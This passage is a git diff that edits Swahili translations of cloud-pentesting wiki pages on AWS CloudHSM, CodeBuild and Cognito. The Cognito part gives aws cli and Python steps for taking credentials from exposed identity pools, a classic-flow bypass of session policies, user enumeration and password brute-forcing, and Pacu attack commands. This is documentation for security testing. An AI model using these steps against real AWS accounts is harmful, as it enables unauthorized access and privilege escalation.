eneo la pili na kutatua muunganisho wa mikoa kwa njia ya VPN ya kibinafsi** au njia nyingine yoyote kuhakikisha kuwa trafiki inakuwa salama kila wakati kati ya kifaa katika kila safu ya muunganisho. Ikiwa una suluhisho la multi-region unahitaji kufikiria jinsi ya **kuiga funguo na kuanzisha vifaa vya ziada vya CloudHSM katika mikoa unayofanya kazi**. Unaweza kuingia haraka katika hali ambapo una vifaa sita au nane vilivyotawanyika katika mikoa mbalimbali, ikiruhusu redundancy kamili ya funguo zako za usimbuaji. +Ikiwa suluhisho lako ni **multi-region**, unapaswa kuongeza vifaa kadhaa vya **CloudHSM katika eneo la pili na kutatua muunganisho wa kuvuka maeneo kwa kutumia VPN ya kibinafsi** au njia nyingine yoyote kuhakikisha kuwa trafiki inakuwa salama kila wakati kati ya kifaa katika kila safu ya muunganisho. Ikiwa una suluhisho la multi-region unahitaji kufikiria jinsi ya **kuiga funguo na kuanzisha vifaa vya ziada vya CloudHSM katika maeneo unayofanya kazi**. Unaweza kuingia haraka katika hali ambapo una vifaa sita au nane vilivyotawanyika katika maeneo mengi, na kuwezesha upungufu kamili wa funguo zako za usimbuaji. **CloudHSM** ni huduma ya daraja la biashara kwa ajili ya uhifadhi salama wa funguo na inaweza kutumika kama **mizizi ya kuaminika kwa biashara**. Inaweza kuhifadhi funguo za kibinafsi katika PKI na funguo za mamlaka ya cheti katika utekelezaji wa X509. Mbali na funguo za simetriki zinazotumika katika algorithimu za simetriki kama AES, **KMS inahifadhi na kulinda kimwili funguo za simetriki pekee (haiwezi kutenda kama mamlaka ya cheti)**, hivyo ikiwa unahitaji kuhifadhi funguo za PKI na CA, CloudHSM moja au mbili au tatu zinaweza kuwa suluhisho lako. -**CloudHSM ni ghali zaidi kuliko Huduma ya Usimamizi wa Funguo**. CloudHSM ni kifaa cha hardware hivyo una gharama za kudumu za kuandaa kifaa cha CloudHSM, kisha gharama ya saa ya kuendesha kifaa. Gharama inazidishwa na idadi ya vifaa vya CloudHSM vinavyohitajika ili kufikia mahitaji yako maalum.\ -Zaidi ya hayo, makadirio ya ziada yanapaswa kufanywa katika ununuzi wa programu za wahusika wengine kama vile SafeNet ProtectV suites za programu na muda na juhudi za uunganisho. Huduma ya Usimamizi wa Funguo inategemea matumizi na inategemea idadi ya funguo ulizonazo na operesheni za ingizo na utoaji. Kadri usimamizi wa funguo unavyotoa uunganisho usio na mshono na huduma nyingi za AWS, gharama za uunganisho zinapaswa kuwa chini sana. Gharama zinapaswa kuzingatiwa kama kipengele cha pili katika suluhisho za usimbuaji. Usimbuaji kwa kawaida hutumika kwa ajili ya usalama na kufuata sheria. +**CloudHSM ni ghali zaidi kuliko Huduma ya Usimamizi wa Funguo**. CloudHSM ni kifaa cha hardware hivyo una gharama za kudumu za kuandaa kifaa cha CloudHSM, kisha kuna gharama ya kila saa ya kuendesha kifaa. Gharama inazidishwa na idadi ya vifaa vya CloudHSM vinavyohitajika ili kufikia mahitaji yako maalum.\ +Zaidi ya hayo, kuzingatia lazima kufanywa katika ununuzi wa programu za wahusika wengine kama vile SafeNet ProtectV suites za programu na muda na juhudi za uunganisho. Huduma ya Usimamizi wa Funguo ni ya msingi wa matumizi na inategemea idadi ya funguo ulizonazo na operesheni za ingizo na utoaji. Kadri usimamizi wa funguo unavyotoa uunganisho usio na mshono na huduma nyingi za AWS, gharama za uunganisho zinapaswa kuwa chini sana. Gharama zinapaswa kuzingatiwa kama kipengele cha pili katika suluhisho za usimbuaji. Usimbuaji kwa kawaida hutumika kwa ajili ya usalama na kufuata sheria. -**Na CloudHSM pekee wewe una ufikiaji wa funguo** na bila kuingia katika maelezo mengi, na CloudHSM unasimamia funguo zako mwenyewe. **Na KMS, wewe na Amazon mnasimamia funguo zenu pamoja**. AWS ina sera nyingi za kulinda dhidi ya matumizi mabaya na **bado haiwezi kufikia funguo zako katika suluhisho zote mbili**. Tofauti kuu ni kufuata sheria linapokuja suala la umiliki na usimamizi wa funguo, na kwa CloudHSM, hiki ni kifaa cha hardware ambacho unakisadia na kudumisha kwa ufikiaji wa kipekee kwako na wewe pekee. +**Na CloudHSM pekee wewe una ufikiaji wa funguo** na bila kuingia kwa maelezo mengi, na CloudHSM unasimamia funguo zako mwenyewe. **Na KMS, wewe na Amazon mnasimamia funguo zenu pamoja**. AWS ina sera nyingi za kulinda dhidi ya matumizi mabaya na **bado haiwezi kufikia funguo zako katika suluhisho lolote**. Tofauti kuu ni kufuata sheria kadri inavyohusiana na umiliki na usimamizi wa funguo, na kwa CloudHSM, hiki ni kifaa cha hardware ambacho unakisadia na kudumisha kwa ufikiaji wa kipekee kwako na wewe pekee. ### CloudHSM Suggestions -1. Daima weka CloudHSM katika **mpangilio wa HA** na vifaa viwili angalau katika **mikoa tofauti ya upatikanaji**, na ikiwa inawezekana, weka kifaa cha tatu ama kwenye eneo lako au katika eneo lingine la AWS. +1. Daima peleka CloudHSM katika **HA setup** yenye vifaa viwili angalau katika **mikoa tofauti ya upatikanaji**, na ikiwa inawezekana, peleka ya tatu ama kwenye eneo lako au katika eneo lingine la AWS. 2. Kuwa makini unapofanya **kuanzisha** **CloudHSM**. Kitendo hiki **kitaharibu funguo**, hivyo kuwa na nakala nyingine ya funguo au kuwa na uhakika kabisa kwamba huna na kamwe, kamwe hutahitaji funguo hizi kusimbua data yoyote. -3. CloudHSM inasaidia tu **matoleo fulani ya firmware** na programu. Kabla ya kufanya sasisho lolote, hakikisha firmware na au programu inasaidiwa na AWS. Unaweza daima kuwasiliana na msaada wa AWS kuthibitisha ikiwa mwongozo wa sasisho haujakuwa wazi. -4. **Mipangilio ya mtandao haipaswi kubadilishwa.** Kumbuka, iko katika kituo cha data cha AWS na AWS inafuatilia vifaa vya msingi kwa ajili yako. Hii inamaanisha kwamba ikiwa vifaa vitashindwa, watakubadilishia, lakini tu ikiwa wanajua kimefeli. -5. **SysLog forward haipaswi kuondolewa au kubadilishwa**. Unaweza daima **kuongeza** SysLog forwarder ili kuelekeza kumbukumbu kwa zana yako ya ukusanyaji. -6. Mipangilio ya **SNMP** ina vizuizi sawa vya msingi kama mtandao na folda ya SysLog. Hii **haipaswi kubadilishwa au kuondolewa**. Mipangilio ya **ziada** ya SNMP ni sawa, hakikisha tu hujabadilisha ile ambayo tayari ipo kwenye kifaa. -7. Tofauti na mazoea mengine mazuri kutoka AWS ni **kutobadilisha mipangilio ya NTP**. Haijulikani nini kitafanyika ikiwa utafanya hivyo, hivyo kumbuka kwamba ikiwa hutatumia mipangilio sawa ya NTP kwa suluhisho lako lote basi unaweza kuwa na vyanzo viwili vya wakati. Kuwa makini na hili na ujue kwamba CloudHSM inapaswa kubaki na chanzo cha NTP kilichopo. +3. CloudHSM inasaidia tu **toleo fulani za firmware** na programu. Kabla ya kufanya sasisho lolote, hakikisha firmware na au programu inasaidiwa na AWS. Unaweza daima kuwasiliana na msaada wa AWS kuthibitisha ikiwa mwongozo wa sasisho haujawa wazi. +4. **Mikakati ya mtandao haipaswi kubadilishwa.** Kumbuka, iko katika kituo cha data cha AWS na AWS inafuatilia vifaa vya msingi kwa ajili yako. Hii inamaanisha kwamba ikiwa vifaa vitashindwa, watakibadilisha kwa ajili yako, lakini tu ikiwa wanajua kimefeli. +5. **SysLog forward haipaswi kuondolewa au kubadilishwa**. Unaweza daima **kuongeza** mpelelezi wa SysLog kuelekeza kumbukumbu kwa chombo chako cha ukusanyaji. +6. **Mikakati ya SNMP** ina vizuizi sawa vya msingi kama mtandao na folda ya SysLog. Hii **haipaswi kubadilishwa au kuondolewa**. Mikakati ya **ziada** ya SNMP ni sawa, hakikisha tu hujabadilisha ile ambayo tayari ipo kwenye kifaa. +7. Tofauti na mazoea mengine mazuri kutoka AWS ni **kutobadilisha mikakati ya NTP**. Haijulikani nini kitakachotokea ikiwa utafanya hivyo, hivyo kumbuka kwamba ikiwa hutatumia mikakati ile ile ya NTP kwa suluhisho lako lote basi unaweza kuwa na vyanzo viwili vya wakati. Kuwa makini na hili na ujue kwamba CloudHSM inapaswa kubaki na chanzo kilichopo cha NTP. -Ada ya uzinduzi wa awali kwa CloudHSM ni $5,000 kuandaa kifaa cha hardware kilichotolewa kwa matumizi yako, kisha kuna ada ya saa inayohusiana na kuendesha CloudHSM ambayo kwa sasa ni $1.88 kwa saa ya operesheni, au takriban $1,373 kwa mwezi. +Ada ya uzinduzi wa awali kwa CloudHSM ni $5,000 kuagiza kifaa cha hardware kilichotolewa kwa matumizi yako, kisha kuna ada ya kila saa inayohusiana na kuendesha CloudHSM ambayo kwa sasa ni $1.88 kwa saa ya operesheni, au takriban $1,373 kwa mwezi. Sababu ya kawaida ya kutumia CloudHSM ni viwango vya kufuata sheria ambavyo unapaswa kukutana navyo kwa sababu za udhibiti. **KMS haitoi msaada wa data kwa funguo zisizo za simetriki. CloudHSM inakuruhusu kuhifadhi funguo zisizo za simetriki kwa usalama**. @@ -48,15 +48,15 @@ Moduli ya usalama wa hardware (HSM) ni kifaa maalum cha cryptographic kinachotum Njia ambayo HSM inafanya kazi inaweza kutofautiana kulingana na mfano maalum na mtengenezaji, lakini kwa ujumla, hatua zifuatazo hufanyika: -1. **Uzalishaji wa funguo**: HSM inazalisha funguo za cryptographic za nasibu kwa kutumia jenereta ya nambari salama ya nasibu. +1. **Uzalishaji wa funguo**: HSM inazalisha funguo za cryptographic za nasibu kwa kutumia jenereta ya nambari za nasibu salama. 2. **Hifadhi ya funguo**: Funguo **zinahifadhiwa kwa usalama ndani ya HSM, ambapo zinaweza kufikiwa tu na watumiaji au michakato walioidhinishwa**. -3. **Usimamizi wa funguo**: HSM inatoa anuwai ya kazi za usimamizi wa funguo, ikiwa ni pamoja na mzunguko wa funguo, akiba, na kufutwa. -4. **Operesheni za cryptographic**: HSM inafanya anuwai ya operesheni za cryptographic, ikiwa ni pamoja na usimbuaji, usimbuaji wa data, saini ya dijitali, na kubadilishana funguo. Operesheni hizi **zinafanywa ndani ya mazingira salama ya HSM**, ambayo inalinda dhidi ya ufikiaji usioidhinishwa na uharibifu. +3. **Usimamizi wa funguo**: HSM inatoa anuwai ya kazi za usimamizi wa funguo, ikiwa ni pamoja na mzunguko wa funguo, nakala, na kufutwa. +4. **Operesheni za cryptographic**: HSM inafanya anuwai ya operesheni za cryptographic, ikiwa ni pamoja na usimbuaji, usimbuaji wa data, saini ya kidijitali, na kubadilishana funguo. Operesheni hizi **zinatendeka ndani ya mazingira salama ya HSM**, ambayo inalinda dhidi ya ufikiaji usioidhinishwa na uharibifu. 5. **Kumbukumbu za ukaguzi**: HSM inarekodi operesheni zote za cryptographic na majaribio ya ufikiaji, ambayo yanaweza kutumika kwa ajili ya kufuata sheria na ukaguzi wa usalama. -HSM zinaweza kutumika kwa anuwai ya matumizi, ikiwa ni pamoja na miamala salama ya mtandaoni, vyeti vya dijitali, mawasiliano salama, na usimbuaji wa data. Mara nyingi hutumiwa katika sekta zinazohitaji kiwango cha juu cha usalama, kama vile fedha, huduma za afya, na serikali. +HSM zinaweza kutumika kwa anuwai ya matumizi, ikiwa ni pamoja na shughuli salama za mtandaoni, vyeti vya kidijitali, mawasiliano salama, na usimbuaji wa data. Mara nyingi hutumiwa katika sekta zinazohitaji kiwango cha juu cha usalama, kama vile fedha, huduma za afya, na serikali. -Kwa ujumla, kiwango cha juu cha usalama kinachotolewa na HSM kinaufanya **kuwa vigumu sana kutoa funguo za asili kutoka kwao, na kujaribu kufanya hivyo mara nyingi kunachukuliwa kama uvunjaji wa usalama**. Hata hivyo, kunaweza kuwa na **hali fulani** ambapo **funguo za asili zinaweza kutolewa** na wafanyakazi walioidhinishwa kwa madhumuni maalum, kama katika kesi ya utaratibu wa urejeleaji wa funguo. +Kwa ujumla, kiwango cha juu cha usalama kinachotolewa na HSM kinafanya **kuwa vigumu sana kutoa funguo za asili kutoka kwao, na kujaribu kufanya hivyo mara nyingi kunachukuliwa kama uvunjaji wa usalama**. Hata hivyo, kunaweza kuwa na **hali fulani** ambapo **funguo za asili zinaweza kutolewa** na wafanyakazi walioidhinishwa kwa madhumuni maalum, kama katika kesi ya utaratibu wa urejeleaji wa funguo. ### Enumeration ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bdecd27be..eb64272f1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,19 +4,19 @@ ## CodeBuild -AWS **CodeBuild** inatambulika kama **huduma ya ushirikiano wa kuendelea inayosimamiwa kikamilifu**. Kusudi kuu la huduma hii ni kuharakisha mchakato wa kukusanya msimbo wa chanzo, kutekeleza majaribio, na kufunga programu kwa ajili ya matumizi ya kutekeleza. Faida kuu inayotolewa na CodeBuild inapatikana katika uwezo wake wa kupunguza hitaji la watumiaji kuandaa, kusimamia, na kupanua seva zao za kujenga. Urahisi huu unatokana na ukweli kwamba huduma yenyewe inasimamia kazi hizi. Vipengele muhimu vya AWS CodeBuild vinajumuisha: +AWS **CodeBuild** inatambulika kama **huduma ya ushirikiano wa kuendelea inayosimamiwa kikamilifu**. Kusudi kuu la huduma hii ni kuharakisha mchakato wa kukusanya msimbo wa chanzo, kutekeleza majaribio, na kufunga programu kwa ajili ya matumizi ya kutekeleza. Faida kuu inayotolewa na CodeBuild ni uwezo wake wa kupunguza hitaji la watumiaji kuandaa, kusimamia, na kupanua seva zao za kujenga. Urahisi huu unatokana na ukweli kwamba huduma yenyewe inasimamia kazi hizi. Vipengele muhimu vya AWS CodeBuild ni pamoja na: 1. **Huduma Inayosimamiwa**: CodeBuild inasimamia na kupanua seva za kujenga, ikiwatoa watumiaji kwenye matengenezo ya seva. 2. **Ushirikiano wa Kuendelea**: Inashirikiana na mchakato wa maendeleo na utekelezaji, ikiharakisha hatua za kujenga na majaribio ya mchakato wa kutolewa kwa programu. 3. **Uzalishaji wa Kifurushi**: Baada ya hatua za kujenga na majaribio, inatayarisha vifurushi vya programu, ikifanya kuwa tayari kwa utekelezaji. -AWS CodeBuild inajumuika kwa urahisi na huduma nyingine za AWS, ikiongeza ufanisi na uaminifu wa mchakato wa CI/CD (Ushirikiano wa Kuendelea/Utekelezaji wa Kuendelea). +AWS CodeBuild inashirikiana kwa urahisi na huduma nyingine za AWS, ikiongeza ufanisi na uaminifu wa mchakato wa CI/CD (Ushirikiano wa Kuendelea/Utekelezaji wa Kuendelea). ### **Github/Gitlab/Bitbucket Credentials** #### **Default source credentials** -Hii ni chaguo la urithi ambapo inawezekana kuunda **ufikiaji** (kama token ya Github au programu) ambayo itakuwa **inasambazwa kati ya miradi ya codebuild** ili miradi yote iweze kutumia seti hii ya akreditivu iliyowekwa. +Hii ni chaguo la zamani ambapo inawezekana kuunda **ufikiaji** (kama token ya Github au programu) ambayo itakuwa **inasambazwa kati ya miradi ya codebuild** ili miradi yote iweze kutumia seti hii ya akreditivu iliyowekwa. Akreditivu zilizohifadhiwa (tokens, nywila...) zinazosimamiwa na **codebuild** na hakuna njia ya umma ya kuzirejesha kutoka kwa AWS APIs. @@ -24,7 +24,7 @@ Akreditivu zilizohifadhiwa (tokens, nywila...) zinazosimamiwa na **codebuild** n Kulingana na jukwaa la hifadhi (Github, Gitlab na Bitbucket) chaguzi tofauti zinatolewa. Lakini kwa ujumla, chaguo lolote linalohitaji **kuhifadhi token au nywila litahifadhiwa kama siri katika meneja wa siri**. -Hii inaruhusu **miradi tofauti ya codebuild kutumia ufikiaji tofauti ulioanzishwa** kwa watoa huduma badala ya kutumia tu ile iliyowekwa kama chaguo la kawaida. +Hii inaruhusu **miradi tofauti ya codebuild kutumia ufikiaji tofauti ulioandaliwa** kwa watoa huduma badala ya kutumia tu ile iliyowekwa kama chaguo la kawaida. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index aec66f970..0f7807228 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,12 +4,12 @@ ## Cognito -Amazon Cognito inatumika kwa ajili ya **uthibitishaji, ruhusa, na usimamizi wa watumiaji** katika programu za wavuti na simu. Inawapa watumiaji uwezo wa kuingia moja kwa moja kwa kutumia **jina la mtumiaji na nenosiri** au kwa njia isiyo ya moja kwa moja kupitia **mtu wa tatu**, ikiwa ni pamoja na Facebook, Amazon, Google, au Apple. +Amazon Cognito inatumika kwa ajili ya **uthibitishaji, ruhusa, na usimamizi wa watumiaji** katika programu za wavuti na simu. Inawaruhusu watumiaji kubadilika kuingia moja kwa moja kwa kutumia **jina la mtumiaji na nenosiri** au kwa njia isiyo ya moja kwa moja kupitia **mtu wa tatu**, ikiwa ni pamoja na Facebook, Amazon, Google, au Apple. Kati ya Amazon Cognito kuna vipengele viwili vikuu: -1. **User Pools**: Hizi ni saraka zilizoundwa kwa ajili ya watumiaji wa programu yako, zikitoa **uwezo wa kujiandikisha na kuingia**. -2. **Identity Pools**: Hizi ni muhimu katika **kuidhinisha watumiaji kupata huduma tofauti za AWS**. Hazihusiki moja kwa moja katika mchakato wa kuingia au kujiandikisha lakini ni muhimu kwa ufikiaji wa rasilimali baada ya uthibitishaji. +1. **User Pools**: Hizi ni saraka zilizoundwa kwa watumiaji wa programu yako, zikitoa **uwezo wa kujiandikisha na kuingia**. +2. **Identity Pools**: Hizi ni muhimu katika **kuidhinisha watumiaji kupata huduma tofauti za AWS**. Hazihusiki moja kwa moja katika mchakato wa kuingia au kujiandikisha lakini ni muhimu kwa upatikanaji wa rasilimali baada ya uthibitishaji. ### **User pools** @@ -73,11 +73,11 @@ aws cognito-idp describe-risk-configuration --user-pool-id ``` ### Identity Pools - Unauthenticated Enumeration -Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). +Kujua tu **ID ya Identity Pool** unaweza kuwa na uwezo wa **kupata akreditivu za jukumu lililohusishwa na watumiaji wasio na uthibitisho** (ikiwa ipo). [**Angalia jinsi hapa**](cognito-identity-pools.md#accessing-iam-roles). ### User Pools - Unauthenticated Enumeration -Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.** +Hata kama **hujui jina halali la mtumiaji** ndani ya Cognito, unaweza kuwa na uwezo wa **kuhesabu** majina halali ya **watumiaji**, **BF** **nywila** au hata **kujiandikisha mtumiaji mpya** kwa kujua tu **ID ya mteja wa App** (ambayo kwa kawaida hupatikana katika msimbo wa chanzo). [**Angalia jinsi hapa**](cognito-user-pools.md#registration)**.** ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 90b2dbdc5..d5db8dea2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,12 +4,12 @@ ## Basic Information -Identity pools hutoa jukumu muhimu kwa kuwezesha watumiaji wako **kupata akreditif za muda mfupi**. Akreditif hizi ni muhimu kwa kupata huduma mbalimbali za AWS, ikiwa ni pamoja na lakini sio tu Amazon S3 na DynamoDB. Kipengele muhimu cha identity pools ni msaada wao kwa watumiaji wa wageni wasiojulikana na anuwai ya watoa huduma za utambulisho kwa ajili ya uthibitishaji wa mtumiaji. Watoa huduma wa utambulisho wanaoungwa mkono ni pamoja na: +Identity pools hutoa jukumu muhimu kwa kuwezesha watumiaji wako **kupata akreditivu za muda mfupi**. Akreditivu hizi ni muhimu kwa kupata huduma mbalimbali za AWS, ikiwa ni pamoja na lakini sio tu Amazon S3 na DynamoDB. Kipengele muhimu cha identity pools ni msaada wao kwa watumiaji wa wageni wasiojulikana na anuwai ya watoa huduma za utambulisho kwa uthibitishaji wa mtumiaji. Watoa huduma wa utambulisho wanaoungwa mkono ni pamoja na: - Amazon Cognito user pools - Chaguzi za kuingia za kijamii kama Facebook, Google, Login with Amazon, na Sign in with Apple - Watoa huduma wanaofuata OpenID Connect (OIDC) -- Watoa huduma za utambulisho wa SAML (Security Assertion Markup Language) +- Watoa huduma za utambulisho za SAML (Security Assertion Markup Language) - Utambulisho wa watengenezaji walioidhinishwa ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: @@ -43,7 +43,7 @@ Zaidi ya hayo, huduma **cognito-sync** ni huduma inayoruhusu **kusimamia na kusa ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli "cognito\_\_enum" na "cognito\_\_attack" ambazo zinaweza kujiendesha katika kuhesabu mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia kujiendesha katika uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za kuaminika za identity pool, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli "cognito\_\_enum" na "cognito\_\_attack" ambazo zinaweza kujiendesha katika kuhesabu mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia kujiendesha katika uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za kuaminika za identity pool, majukumu yanayoweza kuchukuliwa katika token za id, nk. Kwa maelezo ya kazi za moduli, angalia sehemu ya 2 ya [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji, angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). @@ -55,9 +55,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - -Mfano wa matumizi ya cognito\_\_enum kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya kitambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS: +Sample cognito\_\_enum matumizi ya kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya kitambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS: ```bash Pacu (new:test) > run cognito__enum ``` @@ -71,18 +69,18 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -For more information check https://github.com/padok-team/cognito-scanner +Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner -## Accessing IAM Roles +## Kufikia Majukumu ya IAM -### Unauthenticated +### Bila Uthibitisho -Jambo pekee ambalo mshambuliaji anahitaji kujua ili **kupata AWS credentials** katika programu ya Cognito kama mtumiaji asiyejulikana ni **Identity Pool ID**, na **ID hii inapaswa kuwa hardcoded** katika **programu** ya wavuti/mobaili ili kuitumia. ID inaonekana kama hii: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (haiwezi kufanywa kwa nguvu). +Jambo pekee ambalo mshambuliaji anahitaji kujua ili **kupata AWS credentials** katika programu ya Cognito kama mtumiaji asiye na uthibitisho ni **Identity Pool ID**, na **ID hii inapaswa kuwa imeandikwa kwa nguvu** katika **programu** ya wavuti/mobail ili kuitumia. ID inaonekana kama hii: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (haiwezi kufanywa kwa nguvu). > [!TIP] > **IAM Cognito unathenticated role iliyoundwa kupitia inaitwa** kwa default `Cognito_Unauth_Role` -Ikiwa unapata Identity Pools ID iliyohifadhiwa na inaruhusu watumiaji wasiothibitishwa, unaweza kupata AWS credentials kwa: +Ikiwa utapata Identity Pools ID imeandikwa kwa nguvu na inaruhusu watumiaji wasiothibitishwa, unaweza kupata AWS credentials kwa: ```python import requests @@ -114,13 +112,13 @@ aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] -> Kumbuka kwamba kwa kawaida mtumiaji wa cognito **asiye na uthibitisho HANA ruhusa yoyote, hata kama ilitolewa kupitia sera**. Angalia sehemu ifuatayo. +> Kumbuka kwamba kwa kawaida mtumiaji wa cognito **asiye na uthibitisho HANA haki yoyote, hata kama ilitolewa kupitia sera**. Angalia sehemu ifuatayo. ### Mchakato wa Uthibitishaji wa Juu vs Msingi -Sehemu ya awali ilifuata **mchakato wa uthibitishaji wa juu wa kawaida**. Mchakato huu unakagua **sera ya kikao** [**inayozuia**](../../aws-basic-information/#session-policies) kwa kikao cha jukumu la IAM kilichoundwa. Sera hii itaruhusu kikao [**kutumia huduma kutoka orodha hii**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (hata kama jukumu lilikuwa na ufikiaji wa huduma nyingine). +Sehemu ya awali ilifuata **mchakato wa uthibitishaji wa juu wa kawaida**. Mchakato huu unakagua **sera ya kikao** [**iliyopangwa**](../../aws-basic-information/#session-policies) kwa kikao cha jukumu la IAM kilichoundwa. Sera hii itaruhusu kikao [**kutumia huduma kutoka orodha hii**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (hata kama jukumu lilikuwa na ufikiaji wa huduma nyingine). -Hata hivyo, kuna njia ya kupita hii, ikiwa **kikundi cha Utambulisho kina "Mchakato wa Msingi (Classic) ulioanzishwa"**, mtumiaji ataweza kupata kikao kwa kutumia mchakato huo ambao **hautakuwa na sera hiyo ya kikao inayozuia**. +Hata hivyo, kuna njia ya kupita hii, ikiwa **kikundi cha Utambulisho kina "Mchakato wa Msingi (Classic) ulioanzishwa"**, mtumiaji ataweza kupata kikao kwa kutumia mchakato huo ambao **hautakuwa na sera hiyo ya kikao ya kikandamiza**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -133,25 +131,25 @@ aws cognito-identity get-open-id-token --identity-id --no-sign aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` > [!WARNING] -> Ikiwa unapokea **kosa** hili, ni kwa sababu **mchakato wa msingi haujawezeshwa (default)** +> Ikiwa unapokea **makosa** haya, ni kwa sababu **mchakato wa msingi haujawezeshwa (default)** -> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` +> `Makosa yamefanyika (InvalidParameterException) wakati wa kuita operesheni ya GetOpenIdToken: Mchakato wa msingi (classic) haujawezeshwa, tafadhali tumia mchakato ulioimarishwa.` -Kuwa na seti ya akreditif za IAM unapaswa kuangalia [ni upatikanaji gani unao](../../#whoami) na kujaribu [kuinua mamlaka](../../aws-privilege-escalation/). +Kuwa na seti ya akreditivu za IAM unapaswa kuangalia [ni upatikanaji gani unao](../../#whoami) na kujaribu [kuinua mamlaka](../../aws-privilege-escalation/). ### Authenticated > [!NOTE] -> Kumbuka kwamba **watumiaji walioidhinishwa** huenda wakapewa **idhini tofauti**, hivyo ikiwa unaweza **kujiandikisha ndani ya programu**, jaribu kufanya hivyo na kupata akreditif mpya. +> Kumbuka kwamba **watumiaji walioidhinishwa** huenda wakapewa **idhini tofauti**, hivyo ikiwa unaweza **kujiandikisha ndani ya programu**, jaribu kufanya hivyo na kupata akreditivu mpya. Pia kunaweza kuwa na **majukumu** yanayopatikana kwa **watumiaji walioidhinishwa wanaofikia Hifadhi ya Utambulisho**. -Kwa hili unaweza kuhitaji kuwa na ufikiaji wa **mtoa utambulisho**. Ikiwa hiyo ni **Cognito User Pool**, labda unaweza kutumia tabia ya default na **kuunda mtumiaji mpya mwenyewe**. +Kwa hili unaweza kuhitaji kuwa na ufikiaji wa **mtoa huduma wa utambulisho**. Ikiwa hiyo ni **Cognito User Pool**, labda unaweza kutumia tabia ya kawaida na **kuunda mtumiaji mpya mwenyewe**. > [!TIP] > **IAM Cognito athenticated role iliyoundwa kupitia inaitwa** kwa default `Cognito_Auth_Role` -Hata hivyo, **mfano ufuatao** unatarajia kwamba tayari umeingia ndani ya **Cognito User Pool** inayotumika kufikia Hifadhi ya Utambulisho (usisahau kwamba aina nyingine za watoa utambulisho zinaweza pia kuanzishwa). +Hata hivyo, **mfano ufuatao** unatarajia kwamba tayari umeingia ndani ya **Cognito User Pool** inayotumika kufikia Hifadhi ya Utambulisho (usisahau kwamba aina nyingine za watoa huduma wa utambulisho zinaweza pia kuwekewa mipangilio).
aws cognito-identity get-id \
 --identity-pool-id <identity_pool_id> \
@@ -164,7 +162,7 @@ aws cognito-identity get-credentials-for-identity \
 
 
 # Katika IdToken unaweza kupata majukumu ambayo mtumiaji ana ufikiaji kwa sababu ya Makundi ya User Pool
-# Tumia --custom-role-arn kupata akreditif kwa jukumu maalum
+# Tumia --custom-role-arn kupata akreditivu kwa jukumu maalum
 aws cognito-identity get-credentials-for-identity \
 --identity-id <identity_id> \
     --custom-role-arn <role_arn> \
@@ -172,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
 
